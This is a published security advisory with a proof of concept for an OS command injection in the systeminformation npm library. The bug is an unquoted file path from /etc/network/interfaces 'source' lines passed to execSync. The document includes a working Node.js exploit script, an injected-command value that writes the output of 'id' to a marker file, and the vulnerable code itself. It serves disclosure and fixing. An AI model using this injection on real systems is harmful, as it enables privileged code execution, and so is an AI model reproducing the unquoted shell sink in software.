# systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux

systeminformation's networkInterfaces() on Linux interpolates a source-directive path parsed from /etc/network/interfaces into an unquoted execSync shell string, enabling command injection.

- Payout: Research
- Severity: high
- Program: systeminformation
- Found by: tonghuaroot
- Disclosed: 2026-07-15
- CVE: CVE-2026-50289
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5xpp-75jx-m839
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5xpp-75jx-m839
- Tags: area:oss domain:oss impact:privesc impact:rce kind:research platform:ghsa sev:high tech:linux tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** npm library lib/network.js checkLinuxDCHPInterfaces() shell sink
**Root cause:** A path token parsed from the content of an interfaces(5) file is interpolated unquoted into `cat ${file} | grep ...` run via execSync through /bin/sh, so shell metacharacters in the sourced path execute commands. The sibling NetworkManager paths were converted to argument-array execution but this source-recursion sink was left unfixed and unsanitized.
**Steps:**
1. Install pinned vulnerable version: `npm install systeminformation@5.31.6`
2. Extract the verbatim `checkLinuxDCHPInterfaces` function from `node_modules/systeminformation/lib/network.js` and bind it to `child_process.execSync` and shipped `util`
3. Write an interfaces file containing `source /dev/null;id>/tmp/si-dhcp-XXXX/PWNED;echo`
4. Call `checkLinuxDCHPInterfaces(outer)` (the networkInterfaces() -> getLinuxDHCPNics() path)
5. Observe marker file created with output of `id`, confirming injected command ran with the Node process privileges
6. Negative control with benign sourced path returns `["eth0"]` and creates no marker
**How found:** Recognized the same root-cause class as the previously-fixed NetworkManager connection-name injection in the same file: a value parsed from local system state re-interpolated into a shell string. Noted the NetworkManager paths were converted to argument-array execution but the interfaces(5) source-recursion sink still builds a shell string and its input is not passed through util.sanitizeString.
**Exploitation:** Any actor able to write a file reachable through the source chain (e.g. dropping a file into a sourced directory or materializing an interfaces snippet from semi-trusted input) controls the path token; when a privileged process calls networkInterfaces()/getStaticData()/getAllData(), the injected command runs with those privileges. No NetworkManager activation or special hardware needed.
**Insight:** When a prior fix converts one shell-string sink to argument-array execution, audit every sibling sink in the same function/file for the same pattern — incomplete fixes leave the recursion path (values parsed from file content) unsanitized.

## Proof of concept (copied exactly from the original report)

**PoC script driving malicious source path**

```
const fs = require('fs');
const path = require('path');
const cp = require('child_process');
const libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');
const util = require(path.join(libDir, 'util.js'));

// Load the VERBATIM shipped sink function from the installed library source.
const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');
const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]*?\n\}\n/);
if (!m) { console.error('could not locate shipped function'); process.exit(2); }

// Bind the same free vars network.js binds: execSync + util.
const execSync = cp.execSync;
const checkLinuxDCHPInterfaces =
  new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util);

// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---
const tmp = fs.mkdtempSync('/tmp/si-dhcp-');
const outer = path.join(tmp, 'interfaces');
const marker = path.join(tmp, 'PWNED');
const maliciousSource = `/dev/null;id>${marker};echo`;
fs.writeFileSync(outer, `auto lo\niface lo inet loopback\nsource ${maliciousSource}\n`);

console.log('PRE  marker_exists=' + fs.existsSync(marker));
const res = checkLinuxDCHPInterfaces(outer);   // == networkInterfaces() -> getLinuxDHCPNics() path
console.log('returned=' + JSON.stringify(res));
console.log('POST marker_exists=' + fs.existsSync(marker));
if (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());

// --- Negative control: a benign sourced path must NOT execute anything ---
const tmp2 = fs.mkdtempSync('/tmp/si-neg-');
const outer2 = path.join(tmp2, 'interfaces');
const inner2 = path.join(tmp2, 'iface.d');
const marker2 = path.join(tmp2, 'PWNED_NEG');
fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n');
fs.writeFileSync(outer2, `auto lo\nsource ${inner2}\n`);
console.log('\nNEG pre  marker_exists=' + fs.existsSync(marker2));
const res2 = checkLinuxDCHPInterfaces(outer2);
console.log('NEG returned=' + JSON.stringify(res2));
console.log('NEG post marker_exists=' + fs.existsSync(marker2));
```

**Vulnerable shell sink function**

```
const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`;   // <-- unquoted ${file} -> shell sink
    const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');

    lines.forEach((line) => {
      const parts = line.replace(/\s+/g, ' ').trim().split(' ');
      if (parts.length >= 4) {
        if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) {
          result.push(parts[1]);
        }
      }
      if (line.toLowerCase().includes('source')) {
        const file = line.split(' ')[1];                              // <-- path parsed FROM file content
        result = result.concat(checkLinuxDCHPInterfaces(file));
```

